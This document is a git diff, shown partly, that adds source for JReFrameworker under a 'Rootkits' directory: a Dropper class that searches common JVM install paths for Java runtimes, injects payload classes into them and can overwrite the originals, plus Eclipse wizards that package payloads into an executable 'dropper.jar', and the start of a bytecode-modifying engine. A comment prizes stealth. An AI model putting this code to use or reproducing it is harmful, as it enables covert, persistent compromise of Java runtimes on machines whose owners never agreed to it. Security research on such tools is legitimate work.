+ if (debug) { + System.out.println("Discovered target: " + target.getAbsolutePath()); + } + + searching = false; + modifyTarget(configuration, payloads, target, watermark, replaceTarget); + } + } catch (Exception e) { + // skipping runtime + } + } + } catch (InterruptedException ie) { + // couldn't sleep, try again + } + } + } + + if(debug) System.out.println("Finished."); + } + + private static void modifyTarget(Configuration configuration, byte[][] payloads, File runtime, boolean watermark, boolean replaceTarget) { + try { + File outputRuntime = outputDirectory == null ? File.createTempFile(runtime.getName(), ".jar") : getOutputRuntimeFile(runtime, outputDirectory); + if(replaceTarget){ + outputRuntime = runtime; + } + modifyTarget(runtime, configuration.configurations.get(MERGE_RENAME_PREFIX).toString(), outputRuntime, watermark, payloads); + System.out.println("\nOriginal Runtime: " + runtime.getAbsolutePath() + "\n" + "Modified Runtime: " + outputRuntime.getAbsolutePath()); + } catch (Exception e) { + if(debug) System.err.println("Could not modify runtime: " + runtime.getAbsolutePath()); + if(debug) e.printStackTrace(); + } + } + + private static File getOutputRuntimeFile(File runtime, File outputDirectory) { + File outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName()); + int num = 2; + while(outputRuntime.exists()){ + outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName().replace(".jar", "_") + num++ + ".jar"); + } + return outputRuntime; + } + + private static byte[] getBytes(InputStream is) throws IOException { + int len; + int size = 1024; + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buffer = new byte[size]; + while ((len = is.read(buffer, 0, size)) != -1) { + bos.write(buffer, 0, len); + } + return bos.toByteArray(); + } + + private static LinkedList getTargets(String[] searchPaths, Configuration configuration){ + HashSet targetNames = new HashSet(); + targetNames.addAll(configuration.runtimes); + targetNames.addAll(configuration.libraries); + LinkedList targets = new LinkedList(); + + // establish a set of directories to search for runtimes + LinkedList searchDirectories = new LinkedList(); + + if(searchPaths != null){ + if(debug) System.out.println("Searching: " + Arrays.toString(searchPaths)); + // look for specified jvm locations + for(String path : searchPaths){ + File location = new File(path); + if(location.exists()){ + searchDirectories.add(location); + } + } + } else { + // look for known jvm locations + if(debug) System.out.println("Searching: " + Arrays.toString(JVM_LOCATIONS)); + for(String path : JVM_LOCATIONS){ + File location = new File(path); + if(location.exists()){ + searchDirectories.add(location); + } + } + } + + // search each directory for runtimes + for(File searchDirectory : searchDirectories){ + targets.addAll(search(searchDirectory, targetNames)); + } + + // Note: removed this functionality, as it is way to expensive...not very stealthy +// // unknown location, expand search to entire file system +// if(runtimes.isEmpty()){ +// for(File rootDirectory : File.listRoots()){ +// runtimes.addAll(search(rootDirectory, runtimeNames)); +// } +// } + + return targets; + } + + private static LinkedList search(File directory, HashSet fileNames){ + LinkedList results = new LinkedList(); + search(directory, fileNames, results); + return results; + } + + private static void search(File directory, HashSet fileNames, LinkedList results) { + File[] files = directory.listFiles(); + if(files != null){ + for(File file : files) { + if(file.isDirectory()) { + search(file, fileNames, results); + } else if(fileNames.contains(file.getName())) { + results.add(file); + } + } + } + } + + // TODO: Consider accepting and writing to an output stream instead of a File so that we could generically write to a file, memory, stdout, etc. + // TODO: need to consider alternate class loaders + private static void modifyTarget(File originalRuntime, String mergeRenamePrefix, File outputRuntime, boolean watermark, byte[]... classFiles) throws JarException, IOException { + Engine engine = new Engine(originalRuntime, mergeRenamePrefix); + for(byte[] classFile : classFiles){ + engine.process(classFile); + } + if(watermark){ + engine.addFile(WATERMARK, WATERMARK.getBytes(), true); + } + engine.save(outputRuntime); + } + + public static class Configuration { + + public static final String CONFIGURATIONS = "configurations"; + public static final String CONFIGURATION = "configuration"; + public static final String TARGETS = "targets"; + public static final String TARGET = "target"; + public static final String RUNTIME = "runtime"; + public static final String PAYLOAD_CLASSES = "payload-classes"; + public static final String PAYLOAD_CLASS = "payload-class"; + public static final String NAME = "name"; + + public Map configurations = new HashMap(); + public Set payloadClassNames = new HashSet(); + public Set runtimes = new HashSet(); + public Set libraries = new HashSet(); + + @Override + public String toString() { + return "Configuration [configurations=" + configurations + ", payloadClasses=" + payloadClassNames + + ", runtimes=" + runtimes + ", libraries=" + libraries + "]"; + } + + public Configuration(){} + + public Configuration(String xml) throws ParserConfigurationException, SAXException, IOException { + DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); + InputSource inputStream = new InputSource(new StringReader(xml)); + Document doc = dBuilder.parse(inputStream); + doc.getDocumentElement().normalize(); + NodeList targets = doc.getElementsByTagName(TARGET); + for (int i = 0; i < targets.getLength(); i++) { + Element target = (Element) targets.item(i); + String name = target.getAttribute(NAME); + Boolean runtime = false; + if(target.hasAttribute(RUNTIME)){ + runtime = Boolean.parseBoolean(target.getAttribute(RUNTIME)); + } + if(runtime){ + runtimes.add(name); + } else { + libraries.add(name); + } + } + NodeList classes = doc.getElementsByTagName(PAYLOAD_CLASS); + for (int i = 0; i < classes.getLength(); i++) { + Element clazz = (Element) classes.item(i); + String name = clazz.getAttribute(NAME); + this.payloadClassNames.add(name); + } + NodeList configurations = doc.getElementsByTagName(CONFIGURATION); + for (int i = 0; i < configurations.getLength(); i++) { + Element configuration = (Element) configurations.item(i); + NamedNodeMap attributes = configuration.getAttributes(); + for (int j = 0; j < attributes.getLength(); j++){ + Node attribute = attributes.item(i); + this.configurations.put(attribute.getNodeName(), attribute.getNodeValue()); + } + } + } + + public String getXML() throws ParserConfigurationException, TransformerException { + // create xml document + DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder docBuilder = docFactory.newDocumentBuilder(); + + // add root element + Document doc = docBuilder.newDocument(); + Element rootElement = doc.createElement("payload"); + doc.appendChild(rootElement); + + // record general modification configurations + Element configurationsElement = doc.createElement(CONFIGURATIONS); + for(Entry entry : configurations.entrySet()){ + Element configurationElement = doc.createElement(CONFIGURATION); + configurationElement.setAttribute(entry.getKey(), entry.getValue()); + configurationsElement.appendChild(configurationElement); + } + rootElement.appendChild(configurationsElement); + + // record targets to modify + Element targetsElement = doc.createElement(TARGETS); + + // add each runtime target to the configuration + for(String target : runtimes){ + Element targetElement = doc.createElement(TARGET); + targetElement.setAttribute(NAME, target); + targetElement.setAttribute(RUNTIME, "true"); + targetsElement.appendChild(targetElement); + } + + // add each library target to the configuration + for(String target : libraries){ + Element targetElement = doc.createElement(TARGET); + targetElement.setAttribute(NAME, target); + targetElement.setAttribute(RUNTIME, "false"); + targetsElement.appendChild(targetElement); + } + rootElement.appendChild(targetsElement); + + // add each payload class name to the configuration + Element classesElement = doc.createElement(PAYLOAD_CLASSES); + for(String clazz : payloadClassNames){ + Element classElement = doc.createElement(PAYLOAD_CLASS); + classElement.setAttribute(NAME, clazz); + classesElement.appendChild(classElement); + } + rootElement.appendChild(classesElement); + + // write xml to string result + TransformerFactory transformerFactory = TransformerFactory.newInstance(); + Transformer transformer = transformerFactory.newTransformer(); + transformer.setOutputProperty(OutputKeys.INDENT, "yes"); + transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2"); + DOMSource source = new DOMSource(doc); + StringWriter xml = new StringWriter(); + StreamResult result = new StreamResult(xml); + transformer.transform(source, result); + return xml.toString(); + } + } + + private static String sha256(File file) throws IOException, NoSuchAlgorithmException { + MessageDigest digest = MessageDigest.getInstance("SHA-256"); + byte[] contents = Files.readAllBytes(file.toPath()); + byte[] hash = digest.digest(contents); + StringBuilder result = new StringBuilder(); + for (int i = 0; i < hash.length; i++) { + result.append(Integer.toString((hash[i] & 0xFF) + 0x100, 16).substring(1)); + } + return result.toString(); + } + + public static boolean isAnotherApplicationInstanceActive(){ + ApplicationInstanceLock instanceLock = new ApplicationInstanceLock(WATERMARK); + return instanceLock.isAppActive(); + } + + // adapted from http://www.rgagnon.com/javadetails/java-0288.html + private static class ApplicationInstanceLock { + + private String appName; + private File file; + private FileChannel channel; + private FileLock lock; + + public ApplicationInstanceLock(String appName) { + this.appName = appName; + } + + @SuppressWarnings("resource") + public boolean isAppActive() { + try { + file = new File(System.getProperty("user.home"), appName + ".tmp"); + channel = new RandomAccessFile(file, "rw").getChannel(); + + try { + lock = channel.tryLock(); + } catch (OverlappingFileLockException e) { + // already locked + closeLock(); + return true; + } + + if (lock == null) { + closeLock(); + return true; + } + + Runtime.getRuntime().addShutdownHook(new Thread() { + // destroy the lock when the JVM is closing + public void run() { + closeLock(); + deleteFile(); + } + }); + return false; + } catch (Exception e) { + closeLock(); + return true; + } + } + + private void closeLock() { + try { + lock.release(); + channel.close(); + } catch (Exception e) { + } + } + + private void deleteFile() { + try { + file.delete(); + } catch (Exception e) { + } + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/log/Log.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/log/Log.java new file mode 100644 index 0000000..d4336e8 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/log/Log.java @@ -0,0 +1,55 @@ +package com.jreframeworker.dropper.log; + +import org.eclipse.core.runtime.ILog; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.osgi.framework.Bundle; +import org.osgi.framework.BundleContext; + +import com.jreframeworker.dropper.Activator; + +/** + * Centralized logging for Eclipse plugins. + */ +public class Log { + private static ILog log; + + static { + BundleContext context = Activator.getDefault().getBundle().getBundleContext(); + if (context != null) { + Bundle bundle = context.getBundle(); + log = Platform.getLog(bundle); + } + } + + public static void error(String message, Throwable e) { + log(Status.ERROR, message, e); + } + + public static void warning(String message) { + warning(message, null); + } + + public static void warning(String message, Throwable e) { + log(Status.WARNING, message, e); + } + + public static void info(String message) { + info(message, null); + } + + public static void info(String message, Throwable e) { + log(Status.INFO, message, e); + } + + public static void log(int severity, String string, Throwable e) { + if(log == null){ + System.err.println(string + "\n" + e); + } else { + IStatus status = new Status(severity, Activator.PLUGIN_ID, string, e); + log.log(status); + } + } +} + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperPage.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperPage.java new file mode 100644 index 0000000..ef2b667 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperPage.java @@ -0,0 +1,65 @@ +package com.jreframeworker.dropper.ui; + +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; + +public class ExportPayloadDropperPage extends WizardPage { + private String jarPath; + private Text dropperJarText; + + /** + * @wbp.parser.constructor + */ + public ExportPayloadDropperPage(String pageName) { + super(pageName); + setTitle("Create Payload Dropper"); + } + + public String getJARPath() { + return jarPath; + } + + @Override + public void createControl(Composite parent) { + + Composite container = new Composite(parent, SWT.NULL); + setControl(container); + container.setLayout(new GridLayout(3, false)); + + Label dropperJarLabel = new Label(container, SWT.NONE); + dropperJarLabel.setText("Payload Dropper Jar: "); + + dropperJarText = new Text(container, SWT.BORDER); + dropperJarText.setEditable(false); + dropperJarText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + final FileDialog fileChooser = new FileDialog(container.getShell(), SWT.SAVE); + fileChooser.setFilterExtensions(new String[] { "*.jar" }); + fileChooser.setFileName("dropper.jar"); + + Button browseButton = new Button(container, SWT.NONE); + browseButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String path = fileChooser.open(); + if (path != null){ + jarPath = path; + setPageComplete(true); + } + dropperJarText.setText(jarPath); + } + }); + browseButton.setText("Browse..."); + + setPageComplete(false); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperWizard.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperWizard.java new file mode 100644 index 0000000..47d30b5 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperWizard.java @@ -0,0 +1,189 @@ +package com.jreframeworker.dropper.ui; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.net.URL; +import java.nio.file.Files; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; + +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.TransformerException; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jdt.core.ICompilationUnit; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.MessageBox; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IExportWizard; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.objectweb.asm.tree.ClassNode; +import org.xml.sax.SAXException; + +import com.jreframeworker.core.BuildFile; +import com.jreframeworker.core.BuilderUtils; +import com.jreframeworker.core.JReFrameworker; +import com.jreframeworker.core.JReFrameworkerProject; +import com.jreframeworker.core.BuildFile.LibraryTarget; +import com.jreframeworker.core.BuildFile.RuntimeTarget; +import com.jreframeworker.core.BuildFile.Target; +import com.jreframeworker.dropper.Activator; +import com.jreframeworker.dropper.Dropper; +import com.jreframeworker.dropper.log.Log; +import com.jreframeworker.engine.utils.BytecodeUtils; +import com.jreframeworker.engine.utils.JarModifier; +import com.jreframeworker.preferences.JReFrameworkerPreferences; + +public class ExportPayloadDropperWizard extends Wizard implements IExportWizard { + + public static final String PAYLOAD_DROPPER = "dropper.jar"; + public static final String EXPORT_PAYLOAD_DROPPER = "export" + File.separatorChar + PAYLOAD_DROPPER; + + private SelectJReFrameworkerProjectPage page1; + private ExportPayloadDropperPage page2; + + private File jReFrameworkerWorkspace = new File(ResourcesPlugin.getWorkspace().getRoot().getLocation().toFile().getAbsolutePath() + File.separatorChar + ".jreframeworker"); + private File dropperJar = new File(jReFrameworkerWorkspace.getAbsolutePath() + File.separatorChar + PAYLOAD_DROPPER); + + public ExportPayloadDropperWizard() throws Exception { + page1 = new SelectJReFrameworkerProjectPage("Select JReFrameworker Project"); + page2 = new ExportPayloadDropperPage("Create Payload Dropper"); + setWindowTitle("Create Payload Dropper"); + } + + @Override + public void init(IWorkbench workbench, IStructuredSelection selection) {} + + @Override + public void addPages() { + this.addPage(page1); + this.addPage(page2); + } + + @Override + public boolean performFinish() { + final File dropperFile = new File(page2.getJARPath()); + + IRunnableWithProgress j = new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) { + try { + // make sure we have a fresh copy of the base dropper + if(dropperJar.exists()){ + dropperJar.delete(); + } + + dropperJar.getParentFile().mkdirs(); + URL fileURL = Activator.getDefault().getBundle().getEntry(JReFrameworker.EXPORT_DIRECTORY + "/" + PAYLOAD_DROPPER); + URL resolvedFileURL = FileLocator.toFileURL(fileURL); + // need to use the 3-arg constructor of URI in order to properly escape file system chars + URI resolvedURI = new URI(resolvedFileURL.getProtocol(), resolvedFileURL.getPath(), null); + InputStream dropperJarInputStream = resolvedURI.toURL().openConnection().getInputStream(); + if(dropperJarInputStream == null){ + throw new RuntimeException("Could not locate: " + PAYLOAD_DROPPER); + } + Files.copy(dropperJarInputStream, dropperJar.toPath()); + JarModifier dropper = new JarModifier(dropperJar); + + JReFrameworkerProject jrefProject = new JReFrameworkerProject(page1.getJReFrameworkerProject().getProject()); + + // add payloads + Set payloadClassNames = new HashSet(); + ICompilationUnit[] compilationUnits = BuilderUtils.getSourceCompilationUnits(jrefProject.getJavaProject()); + for(ICompilationUnit compilationUnit : compilationUnits){ + File sourceFile = compilationUnit.getCorrespondingResource().getLocation().toFile().getCanonicalFile(); + File classFile = BuilderUtils.getCorrespondingClassFile(jrefProject, sourceFile); + if(classFile.exists()){ + if(!BuilderUtils.hasSevereProblems(compilationUnit)){ + ClassNode classNode = BytecodeUtils.getClassNode(classFile); + if(BuilderUtils.hasTopLevelAnnotation(classNode)){ + payloadClassNames.add(classFile.getName()); + byte[] classFileBytes = Files.readAllBytes(classFile.toPath()); + dropper.add(Dropper.PAYLOAD_DIRECTORY + "/" + classFile.getName(), classFileBytes, true); + } + } + } + } + + // create dropper configuration file + BuildFile buildFile = jrefProject.getBuildFile(); + Map configurations = new HashMap(); + configurations.put(Dropper.MERGE_RENAME_PREFIX, JReFrameworkerPreferences.getMergeRenamingPrefix()); + Dropper.Configuration dropperConfiguration = generateDropperConfiguration(buildFile, configurations, payloadClassNames); + dropper.add(Dropper.CONFIG_FILE, dropperConfiguration.getXML().getBytes(), true); + + // set manifest + byte[] manifest = "Manifest-Version: 1.0\nClass-Path: .\nMain-Class: com.jreframeworker.dropper.Dropper\n\n\n".getBytes(); + dropper.add("META-INF/MANIFEST.MF", manifest, true); + + // export the dropper jar + dropper.save(dropperFile); + + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()){ + Log.info("Exported payload dropper as " + dropperFile.getName()); + } + } catch (Throwable t) { + final String message = "Could not create dropper JAR. " + t.getMessage(); + Log.error(message, t); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + int style = SWT.ICON_ERROR; + MessageBox messageBox = new MessageBox(Display.getDefault().getActiveShell(), style); + messageBox.setMessage(message); + messageBox.open(); + } + }); + } finally { + monitor.done(); + } + } + }; + + Shell shell = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell(); + ProgressMonitorDialog dialog = new ProgressMonitorDialog(shell); + + try { + dialog.run(true, true, j); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return true; + } + + private static Dropper.Configuration generateDropperConfiguration(BuildFile buildFile, Map configurations, Set payloadClassNames) throws TransformerException, ParserConfigurationException, SAXException, IOException { + Dropper.Configuration result = new Dropper.Configuration(); + + // add build targets + for(Target target : buildFile.getTargets()){ + if(target instanceof RuntimeTarget){ + result.runtimes.add(target.getName()); + } else if(target instanceof LibraryTarget){ + result.libraries.add(target.getName()); + } + } + + // add configurations + result.configurations.putAll(configurations); + + // add the payload class names + result.payloadClassNames.addAll(payloadClassNames); + + return result; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/SelectJReFrameworkerProjectPage.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/SelectJReFrameworkerProjectPage.java new file mode 100644 index 0000000..9b1500b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/SelectJReFrameworkerProjectPage.java @@ -0,0 +1,75 @@ +package com.jreframeworker.dropper.ui; + +import java.util.LinkedList; + +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.wb.swt.SWTResourceManager; + +import com.jreframeworker.core.JReFrameworker; + +public class SelectJReFrameworkerProjectPage extends WizardPage { + + private IJavaProject jProject; + + public IJavaProject getJReFrameworkerProject(){ + return jProject; + } + + protected SelectJReFrameworkerProjectPage(String pageName) { + super(pageName); + setTitle("Select JReFrameworker Project"); + setPageComplete(false); + } + + @Override + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + setControl(container); + container.setLayout(new GridLayout(1, false)); + + Group projectGroup = new Group(container, SWT.SHADOW_IN); + projectGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + projectGroup.setText("JReFrameworker Projects"); + projectGroup.setLayout(new RowLayout(SWT.VERTICAL)); + + Label errorLabel = new Label(container, SWT.NONE); + errorLabel.setForeground(SWTResourceManager.getColor(SWT.COLOR_DARK_RED)); + errorLabel.setFont(SWTResourceManager.getFont(".SF NS Text", 11, SWT.BOLD)); + errorLabel.setLayoutData(new GridData(SWT.CENTER, SWT.BOTTOM, true, true, 1, 1)); + + final LinkedList projects = JReFrameworker.getJReFrameworkerProjects(); + if(projects.isEmpty()){ + errorLabel.setText("No JReFrameworker Projects in Workspace!"); + } else { + boolean first = true; + for(final IJavaProject project : projects){ + Button projectButton = new Button(projectGroup, SWT.RADIO); + projectButton.setText(project.getProject().getName()); + if(first){ + jProject = project; + projectButton.setSelection(true); + setPageComplete(true); + first = false; + } + projectButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + jProject = project; + } + }); + } + } + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.classpath new file mode 100644 index 0000000..39eccb0 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.project new file mode 100644 index 0000000..916fa44 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.project @@ -0,0 +1,17 @@ + + + com.jreframeworker.engine.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3a21537 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/build-engine.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/build-engine.ant.xml new file mode 100644 index 0000000..fd7aa9b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/build-engine.ant.xml @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/Engine.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/Engine.java new file mode 100644 index 0000000..8a46c5b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/Engine.java @@ -0,0 +1,842 @@ +package com.jreframeworker.engine; + +import java.io.File; +import java.io.IOException; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Map.Entry; +import java.util.Set; +import java.util.jar.JarException; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.InnerClassNode; +import org.objectweb.asm.tree.MethodNode; + +import com.jreframeworker.engine.identifiers.BaseMethodsIdentifier; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineFieldFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineMethodFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineTypeFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineIdentifier; +import com.jreframeworker.engine.identifiers.DefineIdentifier.DefineMethodAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineFieldVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineMethodVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineTypeVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.Visibility; +import com.jreframeworker.engine.identifiers.JREFAnnotationIdentifier; +import com.jreframeworker.engine.identifiers.MergeIdentifier; +import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeMethodAnnotation; +import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeTypeAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeFieldAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeMethodAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeTypeAnnotation; +import com.jreframeworker.engine.log.Log; +import com.jreframeworker.engine.utils.AnnotationUtils; +import com.jreframeworker.engine.utils.BytecodeUtils; +import com.jreframeworker.engine.utils.ClassLoaders; +import com.jreframeworker.engine.utils.ClassLoadingClassWriter; +import com.jreframeworker.engine.utils.JarModifier; + +public class Engine { + + private String jarName; + private Set originalEntries; + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((jarName == null) ? 0 : jarName.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + Engine other = (Engine) obj; + if (jarName == null) { + if (other.jarName != null) + return false; + } else if (!jarName.equals(other.jarName)) + return false; + return true; + } + + private String mergeRenamePrefix; + private JarModifier jarModifier; + private ClassLoader[] classLoaders = new ClassLoader[]{ getClass().getClassLoader() }; + + private static class Bytecode { + private byte[] bytecode; + + public Bytecode(byte[] bytecode){ + this.bytecode = bytecode; + } + + public byte[] getBytecode(){ + return bytecode; + } + } + + private HashMap bytecodeCache = new HashMap(); + private Set purgedEntries = new HashSet(); + + public String getJarName(){ + return jarName; + } + + public File getOriginalJar(){ + return jarModifier.getJarFile(); + } + + public Set getOriginalEntries(){ + return new HashSet(originalEntries); + } + + public Set getModificationEntries(){ + return new HashSet(bytecodeCache.keySet()); + } + + public Engine(File jar, String mergeRenamePrefix) throws JarException, IOException { + this.mergeRenamePrefix = mergeRenamePrefix; + this.jarModifier = new JarModifier(jar); + this.jarName = jar.getName(); + this.originalEntries = new HashSet(jarModifier.getJarEntrySet()); + } + + public Engine(File jar, String mergeRenamePrefix, ClassLoader[] classLoaders) throws JarException, IOException { + this(jar, mergeRenamePrefix); + this.classLoaders = classLoaders; + } + + public void setClassLoaders(ClassLoader... classLoaders){ + this.classLoaders = classLoaders; + } + + private ClassNode getBytecode(String entry) throws IOException { + return BytecodeUtils.getClassNode(getRawBytecode(entry)); + } + + private byte[] getRawBytecode(String entry) throws IOException { + if(bytecodeCache.containsKey(entry)){ + return bytecodeCache.get(entry).getBytecode(); + } else { + String qualifiedClassFilename = entry + ".class"; + byte[] bytecode = jarModifier.extractEntry(qualifiedClassFilename); + bytecodeCache.put(entry, new Bytecode(bytecode)); + return bytecode; + } + } + + private void purgeBytecode(String entry){ + bytecodeCache.remove(entry); + purgedEntries.add(entry); + } + + private void updateBytecode(String entry, ClassNode classNode) throws IOException { + updateBytecode(entry, BytecodeUtils.writeClass(classNode)); + } + + private void updateBytecode(String entry, byte[] bytecode) throws IOException { + bytecodeCache.put(entry, new 